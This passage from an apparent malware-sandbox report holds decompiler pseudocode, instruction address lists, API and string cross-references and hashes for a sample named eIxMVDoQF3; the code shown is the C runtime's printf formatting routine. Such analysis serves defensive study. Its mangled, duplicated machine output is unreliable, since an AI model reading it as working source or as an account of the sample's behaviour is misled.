														 *(__ebp - 0x2b4) = __edx;
													}
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) == 0) {
														L170:
														__ecx =  *(__ebp - 0x2b8);
														 *(__ebp - 0x2c0) =  *(__ebp - 0x2b8);
														__edx =  *(__ebp - 0x2b4);
														 *(__ebp - 0x2bc) =  *(__ebp - 0x2b4);
														goto L171;
													} else {
														L166:
														__eflags =  *(__ebp - 0x2b4);
														if(__eflags > 0) {
															goto L170;
														}
														L167:
														if(__eflags < 0) {
															L169:
															 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
															__edx =  *(__ebp - 0x2b4);
															asm("adc edx, 0x0");
															__edx =  ~( *(__ebp - 0x2b4));
															 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
															 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															L171:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
															__eflags =  *(__ebp - 0x10) & 0x00008000;
															if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																__eflags =  *(__ebp - 0x10) & 0x00001000;
																if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																	__edx =  *(__ebp - 0x2c0);
																	__eax =  *(__ebp - 0x2bc);
																	__eax =  *(__ebp - 0x2bc) & 0x00000000;
																	__eflags = __eax;
																	 *(__ebp - 0x2bc) = __eax;
																}
															}
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) >= 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																__eflags =  *(__ebp - 0x30) - 0x200;
																if( *(__ebp - 0x30) > 0x200) {
																	 *(__ebp - 0x30) = 0x200;
																}
															} else {
																 *(__ebp - 0x30) = 1;
															}
															 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
															__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
															if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
																 *(__ebp - 0x1c) = 0;
															}
															__eax = __ebp - 0x49;
															 *(__ebp - 4) = __ebp - 0x49;
															while(1) {
																L181:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L183;
																}
																L182:
																 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
																__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
																if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
																	goto L186;
																}
																L183:
																__eax =  *(__ebp - 8);
																asm("cdq");
																__ecx =  *(__ebp - 0x2bc);
																__edx =  *(__ebp - 0x2c0);
																__eax = E00430820( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8),  *(__ebp - 0x2c0));
																 *(__ebp - 0x2ac) = __eax;
																__eax =  *(__ebp - 8);
																asm("cdq");
																__eax =  *(__ebp - 0x2bc);
																__ecx =  *(__ebp - 0x2c0);
																 *(__ebp - 0x2c0) = E004308A0( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8), __edx);
																 *(__ebp - 0x2bc) = __edx;
																__eflags =  *(__ebp - 0x2ac) - 0x39;
																if( *(__ebp - 0x2ac) > 0x39) {
																	__edx =  *(__ebp - 0x2ac);
																	__edx =  *(__ebp - 0x2ac) +  *(__ebp - 0x260);
																	__eflags = __edx;
																	 *(__ebp - 0x2ac) = __edx;
																}
																__eax =  *(__ebp - 4);
																__cl =  *(__ebp - 0x2ac);
																 *( *(__ebp - 4)) = __cl;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																L181:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L183;
																}
																goto L182;
															}
														}
														L168:
														__eflags =  *(__ebp - 0x2b8);
														if( *(__ebp - 0x2b8) >= 0) {
															goto L170;
														}
														goto L169;
													}
												case 0xe:
													while(1) {
														L190:
														if( *(_t623 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													}
											}
										case 8:
											L30:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
											goto L33;
										case 9:
											L31:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											goto L33;
										case 0xa:
											L29:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000001;
											 *(__ebp - 0x10) = __ecx;
											goto L33;
										case 0xb:
											L28:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											goto L33;
										case 0xc:
											L32:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000008;
											__eflags = __ecx;
											 *(__ebp - 0x10) = __ecx;
											goto L33;
										case 0xd:
											L33:
											goto L218;
									}
								} else {
									if(0 == 0) {
										 *(_t623 - 0x314) = 0;
									} else {
										 *(_t623 - 0x314) = 1;
									}
									_t573 =  *(_t623 - 0x314);
									 *(_t623 - 0x278) =  *(_t623 - 0x314);
									if( *(_t623 - 0x278) == 0) {
										_push(L"(\"Incorrect format specifier\", 0)");
										_push(0);
										_push(0x460);
										_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
										_push(2);
										_t530 = L0041E410();
										_t626 = _t626 + 0x14;
										if(_t530 == 1) {
											asm("int3");
										}
									}
									L14:
									if( *(_t623 - 0x278) != 0) {
										goto L16;
									} else {
										 *((intOrPtr*)(L00422F00(_t573))) = 0x16;
										E00422C90(_t558, _t573, _t621, _t622, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
										 *(_t623 - 0x2f0) = 0xffffffff;
										E0041AEB0(_t623 - 0x40);
										_t503 =  *(_t623 - 0x2f0);
										L229:
										return E0042BD50(_t503, _t558,  *(_t623 - 0x48) ^ _t623, _t594, _t621, _t622);
									}
								}
							}
							L219:
							if( *(_t623 - 0x25c) == 0) {
								L222:
								 *(_t623 - 0x334) = 1;
								L223:
								_t560 =  *(_t623 - 0x334);
								 *(_t623 - 0x2e0) =  *(_t623 - 0x334);
								if( *(_t623 - 0x2e0) == 0) {
									_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
									_push(0);
									_push(0x8f5);
									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
									_push(2);
									_t508 = L0041E410();
									_t626 = _t626 + 0x14;
									if(_t508 == 1) {
										asm("int3");
									}
								}
								if( *(_t623 - 0x2e0) != 0) {
									 *(_t623 - 0x300) =  *(_t623 - 0x24c);
									E0041AEB0(_t623 - 0x40);
									_t503 =  *(_t623 - 0x300);
								} else {
									 *((intOrPtr*)(L00422F00(_t560))) = 0x16;
									E00422C90(_t558, _t560, _t621, _t622, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
									 *(_t623 - 0x2fc) = 0xffffffff;
									E0041AEB0(_t623 - 0x40);
									_t503 =  *(_t623 - 0x2fc);
								}
								goto L229;
							}
							L220:
							if( *(_t623 - 0x25c) == 7) {
								goto L222;
							}
							L221:
							 *(_t623 - 0x334) = 0;
							goto L223;
						}
					}
					L82:
					_t593 =  *0x440f80; // 0x404478
					 *(_t623 - 4) = _t593;
					_t497 = E0041DEB0( *(_t623 - 4));
					_t626 = _t626 + 4;
					 *(_t623 - 0x24) = _t497;
					goto L86;
				}
			}

0x00434bc5
0x00434bc5
0x00434bc5
0x00434bc5
0x00434bc5
0x00434bc5
0x00434bc9
0x00434bce
0x00434bd1
0x00434bde
0x00000000
0x00000000
0x00434be0
0x00434be0
0x00434bea
0x00434c06
0x00434c09
0x00434c0f
0x00434c37
0x00434c3e
0x00434c44
0x00434c47
0x00434c4a
0x00434c50
0x00434c53
0x00434c11
0x00434c11
0x00434c17
0x00434c1a
0x00434c1d
0x00434c23
0x00434c26
0x00434c29
0x00434c2b
0x00434c2e
0x00434c2e
0x00434c56
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x0043532c
0x00435332
0x0043533c
0x00435351
0x00435366
0x00435368
0x0043536c
0x0043536c
0x00435353
0x00435353
0x00435357
0x00435357
0x0043533e
0x0043533e
0x00435342
0x00435342
0x0043533c
0x0043537c
0x00435388
0x0043539e
0x004353a3
0x004353a3
0x004353b9
0x004353be
0x004353c7
0x004353cf
0x004353e5
0x004353ea
0x004353ea
0x004353cf
0x004353f1
0x004354c5
0x004354d8
0x004354dd
0x00000000
0x004353f7
0x004353f7
0x004353fb
0x00000000
0x00000000
0x00435401
0x00435401
0x0043540e
0x00435417
0x0043541d
0x0043541d
0x0043542c
0x00435434
0x00000000
0x00000000
0x0043543a
0x00435443
0x00435462
0x00435467
0x0043546a
0x00435479
0x00435486
0x00435491
0x00435491
0x00000000
0x00435491
0x00435488
0x0043548f
0x0043549d
0x004354b6
0x004354bb
0x00000000
0x004354bb
0x00000000
0x0043548f
0x004354c3
0x004354e0
0x004354e7
0x004354ef
0x00435505
0x0043550a
0x0043550a
0x004354ef
0x004354e7
0x0043550d
0x00435511
0x00435519
0x0043551e
0x00435521
0x00435521
0x00435528
0x00435528
0x004345ff
0x00434605
0x00434612
0x00434617
0x00000000
0x0043462a
0x00434634
0x0043465b
0x00434642
0x00434653
0x00434653
0x00434634
0x00434665
0x0043466b
0x00434677
0x0043467a
0x00434688
0x0043468b
0x00434698
0x0043473d
0x00434743
0x00434750
0x00000000
0x00000000
0x00434756
0x0043475c
0x00000000
0x00434763
0x00434763
0x0043477b
0x00434780
0x00434783
0x00434785
0x0043483f
0x00434852
0x00434857
0x00000000
0x0043478b
0x0043479e
0x004347a3
0x004347a9
0x004347ab
0x004347b4
0x004347b4
0x004347b7
0x004347c3
0x004347c7
0x004347cd
0x004347cf
0x004347d4
0x004347d6
0x004347db
0x004347e0
0x004347e2
0x004347e7
0x004347ea
0x004347ed
0x004347ef
0x004347ef
0x004347ed
0x004347f0
0x004347f0
0x004347f7
0x00000000
0x004347f9
0x004347fe
0x0043481a
0x00434822
0x0043482f
0x00434834
0x00000000
0x00434834
0x004347f7
0x00000000
0x0043485f
0x0043485f
0x00434866
0x00434869
0x0043486c
0x0043486f
0x00434872
0x00434875
0x00434878
0x0043487f
0x00434886
0x00000000
0x00000000
0x00434892
0x00434892
0x00434899
0x004348a5
0x004348a8
0x004348ae
0x004348b5
0x00000000
0x00000000
0x004348b7
0x004348b7
0x004348bd
0x004348bd
0x004348c4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434907
0x00434907
0x0043490e
0x00434911
0x0043493b
0x0043493e
0x0043493e
0x00434941
0x00434948
0x00434948
0x0043494c
0x00434913
0x00434913
0x0043491f
0x00434922
0x00434926
0x00434928
0x0043492b
0x0043492b
0x0043492e
0x00434934
0x00434936
0x00434936
0x00434939
0x00000000
0x00000000
0x00434954
0x00434954
0x00000000
0x00000000
0x00434960
0x00434960
0x00434967
0x0043496a
0x0043498a
0x0043498d
0x0043498d
0x00434997
0x00434997
0x0043499b
0x0043496c
0x0043496c
0x00434978
0x0043497b
0x0043497f
0x00434981
0x00434981
0x00434988
0x00000000
0x00000000
0x004349a3
0x004349a3
0x004349aa
0x004349b6
0x004349b9
0x004349bf
0x004349c6
0x00434ad9
0x00000000
0x00434ad9
0x004349cc
0x004349cc
0x004349d2
0x004349d2
0x004349d9
0x00000000
0x00434a0f
0x00434a0f
0x00434a12
0x00434a15
0x00434a18
0x00434a40
0x00434a40
0x00434a43
0x00434a46
0x00434a49
0x00434a6e
0x00434a6e
0x00434a71
0x00434a74
0x00434a77
0x00434ab0
0x00434ac1
0x00000000
0x00434ac1
0x00434a79
0x00434a79
0x00434a7c
0x00434a7f
0x00434a82
0x00000000
0x00000000
0x00434a84
0x00434a84
0x00434a87
0x00434a8a
0x00434a8d
0x00000000
0x00000000
0x00434a8f
0x00434a8f
0x00434a92
0x00434a95
0x00434a98
0x00000000
0x00000000
0x00434a9a
0x00434a9a
0x00434a9d
0x00434aa0
0x00434aa3
0x00000000
0x00000000
0x00434aa5
0x00434aa5
0x00434aa8
0x00434aab
0x00434aae
0x00434ab2
0x00000000
0x00434ab2
0x00000000
0x00434aae
0x00434a4b
0x00434a4b
0x00434a4e
0x00434a52
0x00434a55
0x00000000
0x00434a57
0x00434a5a
0x00434a5d
0x00434a60
0x00434a63
0x00434a69
0x00000000
0x00434a69
0x00434a55
0x00434a1a
0x00434a1a
0x00434a1d
0x00434a21
0x00434a24
0x00000000
0x00434a26
0x00434a29
0x00434a2c
0x00434a2f
0x00434a32
0x00434a38
0x00000000
0x00434a38
0x00000000
0x00434ac3
0x00434ac6
0x00434ac9
0x00000000
0x00000000
0x004349e0
0x004349e0
0x004349e3
0x004349e6
0x004349e9
0x00434a01
0x00434a04
0x00434a04
0x00434a07
0x004349eb
0x004349ee
0x004349f1
0x004349f7
0x004349fc
0x004349fc
0x00000000
0x00000000
0x00434ace
0x00434ace
0x00434ad1
0x00434ad1
0x00434ad6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434ade
0x00434ade
0x00434ae5
0x00434af1
0x00434af4
0x00434afa
0x00434b01
0x00000000
0x00435322
0x00435322
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x00000000
0x00435326
0x004352dc
0x004352df
0x004352e2
0x004352e5
0x004352e8
0x004352eb
0x004352f1
0x004352f1
0x004352f1
0x004352f9
0x004352fd
0x00000000
0x00000000
0x004352ff
0x004352ff
0x00435302
0x00435305
0x00435305
0x0043530a
0x0043530d
0x00435310
0x00435313
0x00435316
0x00435319
0x0043531c
0x0043531c
0x0043531f
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x00000000
0x00435326
0x00435322
0x00434b07
0x00434b0d
0x00434b0d
0x00434b14
0x00000000
0x00434e6e
0x00434e6e
0x00434e75
0x00434e7c
0x00434e7c
0x00434e7f
0x00000000
0x00000000
0x00434b1b
0x00434b1e
0x00434b1e
0x00434b24
0x00434b26
0x00434b29
0x00434b29
0x00434b2e
0x00434b2e
0x00000000
0x00000000
0x00434c5b
0x00434c5e
0x00434c5e
0x00434c63
0x00434c65
0x00434c68
0x00434c68
0x00434c6e
0x00434c6e
0x00000000
0x00000000
0x0043503b
0x0043503b
0x00000000
0x00000000
0x00000000
0x00000000
0x00434e85
0x00434e88
0x00434e8b
0x00434e8e
0x00434e94
0x00434e97
0x00434e9e
0x00434ea2
0x00434ead
0x00434ead
0x00434eb1
0x00434ec8
0x00434ec8
0x00434ecf
0x00434ed1
0x00434ed1
0x00434ed8
0x00434ed8
0x00434edf
0x00434ef0
0x00434eff
0x00434f02
0x00434f06
0x00434f1c
0x00434f08
0x00434f08
0x00434f0b
0x00434f11
0x00434f17
0x00434f17
0x00434f06
0x00434f26
0x00434f29
0x00434f2c
0x00434f2f
0x00434f32
0x00434f35
0x00434f3b
0x00434f41
0x00434f49
0x00434f4a
0x00434f4d
0x00434f4e
0x00434f51
0x00434f52
0x00434f59
0x00434f5a
0x00434f5d
0x00434f5e
0x00434f61
0x00434f62
0x00434f68
0x00434f69
0x00434f77
0x00434f79
0x00434f7f
0x00434f7f
0x00434f85
0x00434f87
0x00434f8b
0x00434f8d
0x00434f95
0x00434f96
0x00434f99
0x00434f9a
0x00434fa8
0x00434faa
0x00434faa
0x00434f8b
0x00434fad
0x00434fb4
0x00434fb7
0x00434fbc
0x00434fbc
0x00434fc2
0x00434fc4
0x00434fcc
0x00434fcd
0x00434fd0
0x00434fd1
0x00434fe0
0x00434fe2
0x00434fe2
0x00434fc2
0x00434fe5
0x00434fe8
0x00434feb
0x00434fee
0x00434ff3
0x00434ff9
0x00434ffc
0x00434fff
0x00434fff
0x00435002
0x00435002
0x00435005
0x00435011
0x00000000
0x00435011
0x00434eb3
0x00434eb3
0x00434eba
0x00434ebd
0x00000000
0x00000000
0x00434ebf
0x00434ebf
0x00000000
0x00434ebf
0x00434ea4
0x00434ea4
0x00000000
0x00000000
0x00434b31
0x00434b34
0x00434b34
0x00434b3a
0x00434b95
0x00434b9d
0x00434ba4
0x00434baa
0x00434bb0
0x00434b3c
0x00434b3c
0x00434b46
0x00434b4a
0x00434b52
0x00434b59
0x00434b66
0x00434b6d
0x00434b79
0x00434b7f
0x00434b86
0x00434b88
0x00434b88
0x00434b8f
0x00434bb7
0x00434bbd
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x00000000
0x00435326
0x00000000
0x00000000
0x00435019
0x0043501c
0x0043501f
0x00435022
0x00000000
0x00000000
0x00434d77
0x00434d77
0x00434d83
0x00434d89
0x00434d8e
0x00434d90
0x00434e3a
0x00434e3d
0x00434e3d
0x00434e40
0x00434e54
0x00434e5a
0x00434e60
0x00434e42
0x00434e42
0x00434e4f
0x00434e4f
0x00434e62
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x00000000
0x00435326
0x00435322
0x00434d96
0x00434d96
0x00434d96
0x00434d98
0x00434da6
0x00434d9a
0x00434d9a
0x00434d9a
0x00434db0
0x00434db6
0x00434dbc
0x00434dc3
0x00434dc5
0x00434dca
0x00434dcc
0x00434dd1
0x00434dd6
0x00434dd8
0x00434ddd
0x00434de0
0x00434de3
0x00434de5
0x00434de5
0x00434de3
0x00434de6
0x00434ded
0x00434e35
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x00000000
0x00435326
0x00434def
0x00434def
0x00434df4
0x00434e10
0x00434e18
0x00434e22
0x00434e25
0x00434e2a
0x00000000
0x00434e2a
0x00000000
0x0043507c
0x0043507c
0x00435086
0x00435086
0x0043508c
0x0043508e
0x00435091
0x00435091
0x00435097
0x00435097
0x00000000
0x00000000
0x00435034
0x00435034
0x00000000
0x00000000
0x00434c71
0x00434c71
0x00434c75
0x00434c83
0x00434c86
0x00434c77
0x00434c77
0x00434c77
0x00434c8c
0x00434c92
0x00434c98
0x00434ca4
0x00434caa
0x00434caa
0x00434cb0
0x00434d17
0x00434d17
0x00434d1b
0x00434d1d
0x00434d23
0x00434d23
0x00434d26
0x00434d29
0x00434d2f
0x00434d2f
0x00434d2f
0x00434d3b
0x00434d3e
0x00434d44
0x00434d46
0x00000000
0x00000000
0x00434d48
0x00434d48
0x00434d4e
0x00434d51
0x00434d53
0x00000000
0x00000000
0x00434d55
0x00434d5b
0x00434d5e
0x00434d5e
0x00434d66
0x00434d66
0x00434d6c
0x00434d6c
0x00434d6f
0x00000000
0x00434cb2
0x00434cb2
0x00434cb2
0x00434cb6
0x00434cb8
0x00434cbd
0x00434cbd
0x00434cc0
0x00434cc7
0x00434cca
0x00434cd0
0x00434cd0
0x00434cd0
0x00434cdc
0x00434cdf
0x00434ce5
0x00434ce7
0x00000000
0x00000000
0x00434ce9
0x00434ce9
0x00434cef
0x00434cf2
0x00434cf4
0x00000000
0x00000000
0x00434cf6
0x00434cfc
0x00434cff
0x00434cff
0x00434d07
0x00434d0d
0x00434d10
0x00434d12
0x00434d72
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x00000000
0x00435326
0x00435322
0x00000000
0x0043502b
0x0043502b
0x00000000
0x00000000
0x00435047
0x00435047
0x00435051
0x00435051
0x0043505b
0x0043505b
0x00435061
0x00435063
0x0043506d
0x0043506d
0x00435070
0x00435073
0x00435073
0x0043509a
0x0043509d
0x0043509d
0x004350a2
0x004350c4
0x004350c4
0x004350ca
0x004350ec
0x004350ec
0x004350ef
0x00435136
0x00435136
0x00435139
0x00435156
0x0043515a
0x00435162
0x00435162
0x00435164
0x0043516a
0x0043513b
0x0043513b
0x0043513f
0x00435147
0x00435148
0x0043514e
0x0043514e
0x004350f1
0x004350f4
0x004350f4
0x004350f7
0x00435115
0x00435121
0x00435124
0x00435125
0x0043512b
0x004350f9
0x004350f9
0x004350fd
0x00435105
0x00435106
0x00435107
0x0043510d
0x0043510d
0x00435131
0x004350cc
0x004350cc
0x004350d8
0x004350de
0x004350de
0x004350a4
0x004350a4
0x004350b0
0x004350b6
0x004350b6
0x00435173
0x00435173
0x00435176
0x004351b8
0x004351b8
0x004351be
0x004351c4
0x004351ca
0x00000000
0x00435178
0x00435178
0x00435178
0x0043517f
0x00000000
0x00000000
0x00435181
0x00435181
0x0043518c
0x00435192
0x00435194
0x0043519a
0x0043519d
0x0043519f
0x004351a5
0x004351ae
0x004351b3
0x004351d0
0x004351d3
0x004351d3
0x004351d8
0x004351dd
0x004351dd
0x004351e3
0x004351e5
0x004351eb
0x004351f1
0x004351f1
0x004351fa
0x004351fa
0x004351e3
0x00435200
0x00435204
0x00435212
0x00435215
0x00435218
0x0043521f
0x00435221
0x00435221
0x00435206
0x00435206
0x00435206
0x0043522e
0x0043522e
0x00435234
0x00435236
0x00435236
0x0043523d
0x00435240
0x00435243
0x00435243
0x00435243
0x00435249
0x0043524c
0x0043524f
0x00435251
0x00000000
0x00000000
0x00435253
0x00435259
0x00435259
0x0043525f
0x00000000
0x00000000
0x00435261
0x00435261
0x00435264
0x00435267
0x0043526e
0x00435275
0x0043527d
0x00435283
0x00435286
0x00435289
0x00435290
0x0043529c
0x004352a2
0x004352a8
0x004352af
0x004352b1
0x004352b7
0x004352b7
0x004352bd
0x004352bd
0x004352c3
0x004352c6
0x004352cc
0x004352d1
0x004352d4
0x00435243
0x00435243
0x00435249
0x0043524c
0x0043524f
0x00435251
0x00000000
0x00000000
0x00000000
0x00435251
0x00435243
0x00435183
0x00435183
0x0043518a
0x00000000
0x00000000
0x00000000
0x0043518a
0x00000000
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x00000000
0x00435326
0x00000000
0x00000000
0x004348e1
0x004348e4
0x004348e7
0x00000000
0x00000000
0x004348ec
0x004348ef
0x004348f4
0x00000000
0x00000000
0x004348d6
0x004348d6
0x004348d9
0x004348dc
0x00000000
0x00000000
0x004348cb
0x004348ce
0x004348d1
0x00000000
0x00000000
0x004348f9
0x004348f9
0x004348fc
0x004348fc
0x004348ff
0x00000000
0x00000000
0x00434902
0x00000000
0x00000000
0x0043469e
0x004346a0
0x004346ae
0x004346a2
0x004346a2
0x004346a2
0x004346b8
0x004346be
0x004346cb
0x004346cd
0x004346d2
0x004346d4
0x004346d9
0x004346de
0x004346e0
0x004346e5
0x004346eb
0x004346ed
0x004346ed
0x004346eb
0x004346ee
0x004346f5
0x00000000
0x004346f7
0x004346fc
0x00434718
0x00434720
0x0043472d
0x00434732
0x004355f1
0x004355fe
0x004355fe
0x004346f5
0x00434698
0x0043552d
0x00435534
0x0043554b
0x0043554b
0x00435555
0x00435555
0x0043555b
0x00435568
0x0043556a
0x0043556f
0x00435571
0x00435576
0x0043557b
0x0043557d
0x00435582
0x00435588
0x0043558a
0x0043558a
0x00435588
0x00435592
0x004355dd
0x004355e6
0x004355eb
0x00435594
0x00435599
0x004355b5
0x004355bd
0x004355ca
0x004355cf
0x004355cf
0x00000000
0x00435592
0x00435536
0x0043553d
0x00000000
0x00000000
0x0043553f
0x0043553f
0x00000000
0x0043553f
0x00435322
0x00434bec
0x00434bec
0x00434bf2
0x00434bf9
0x00434bfe
0x00434c01
0x00000000
0x00434c01

APIs

_get_int_arg.LIBCMTD ref: 00434BC9
_strlen.LIBCMT ref: 00434BF9
_write_multi_char.LIBCMTD ref: 0043539E
_write_string.LIBCMTD ref: 004353B9
_write_multi_char.LIBCMTD ref: 004353E5
_wctomb_s.LIBCMTD ref: 00435462

Strings

_output_s_l, xrefs: 0043470E
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 004346D9, 00434709
("Incorrect format specifier", 0), xrefs: 004346CD, 00434713
-, xrefs: 0043533E
xD@, xrefs: 00434BEC

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: _write_multi_char$_get_int_arg_strlen_wctomb_s_write_string
String ID: ("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c$xD@
API String ID: 2232461714-1238480882
Opcode ID: e1a2fc9e301970ecd8c094f61f34861cce430d8b90e0bd18686be32c72381d5e
Instruction ID: 0cfa8575dfcfedeb43cbc1988214b3385b7e93ef63924b6d63ebd87b77c71e50
Opcode Fuzzy Hash: e1a2fc9e301970ecd8c094f61f34861cce430d8b90e0bd18686be32c72381d5e
Instruction Fuzzy Hash: 62A18FB0D016289BDF24CF54CC49BEEB7B1AB88305F1491DAD4186B281E778AE80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043BFB4, Relevance: 23.0, APIs: 9, Strings: 4, Instructions: 222
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E0043BFB4(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t482;
				signed int _t484;
				signed int _t487;
				void* _t492;
				signed int _t494;
				void* _t502;
				void* _t520;
				signed int _t524;
				void* _t534;
				signed int _t567;
				signed int _t573;
				void* _t594;
				void* _t595;
				signed int _t596;
				void* _t598;
				void* _t599;

				L0:
				while(1) {
					L0:
					_t595 = __esi;
					_t594 = __edi;
					_t534 = __ebx;
					_t482 = E004283F0(_t596 + 0x14);
					_t599 = _t598 + 4;
					 *((intOrPtr*)(_t596 - 0x474)) = _t482;
					if( *((intOrPtr*)(_t596 - 0x474)) == 0) {
						goto L76;
					}
					L75:
					__ecx =  *(__ebp - 0x474);
					if( *(__ecx + 4) != 0) {
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
						if(( *(__ebp - 0x10) & 0x00000800) == 0) {
							 *(__ebp - 0xc) = 0;
							__edx =  *(__ebp - 0x474);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x474);
							__edx =  *__ecx;
							 *(__ebp - 0x24) =  *__ecx;
						} else {
							__edx =  *(__ebp - 0x474);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x474);
							__eax =  *__ecx;
							asm("cdq");
							 *__ecx - __edx =  *__ecx - __edx >> 1;
							 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
							 *(__ebp - 0xc) = 1;
						}
						L80:
						while(1) {
							L187:
							if( *(_t596 - 0x28) != 0) {
								goto L212;
							}
							L188:
							if(( *(_t596 - 0x10) & 0x00000040) != 0) {
								if(( *(_t596 - 0x10) & 0x00000100) == 0) {
									if(( *(_t596 - 0x10) & 0x00000001) == 0) {
										if(( *(_t596 - 0x10) & 0x00000002) != 0) {
											 *((short*)(_t596 - 0x14)) = 0x20;
											 *(_t596 - 0x1c) = 1;
										}
									} else {
										 *((short*)(_t596 - 0x14)) = 0x2b;
										 *(_t596 - 0x1c) = 1;
									}
								} else {
									 *((short*)(_t596 - 0x14)) = 0x2d;
									 *(_t596 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t596 - 0x4ac)) =  *((intOrPtr*)(_t596 - 0x18)) -  *(_t596 - 0x24) -  *(_t596 - 0x1c);
							if(( *(_t596 - 0x10) & 0x0000000c) == 0) {
								E0043CB80(0x20,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
								_t599 = _t599 + 0x10;
							}
							E0043CBC0( *(_t596 - 0x1c), _t596 - 0x14,  *(_t596 - 0x1c),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
							_t599 = _t599 + 0x10;
							if(( *(_t596 - 0x10) & 0x00000008) != 0) {
								if(( *(_t596 - 0x10) & 0x00000004) == 0) {
									E0043CB80(0x30,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
									_t599 = _t599 + 0x10;
								}
							}
							if( *(_t596 - 0xc) != 0) {
								L208:
								E0043CBC0( *(_t596 - 0x24),  *(_t596 - 4),  *(_t596 - 0x24),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
								_t599 = _t599 + 0x10;
								goto L209;
							} else {
								L201:
								if( *(_t596 - 0x24) <= 0) {
									goto L208;
								}
								L202:
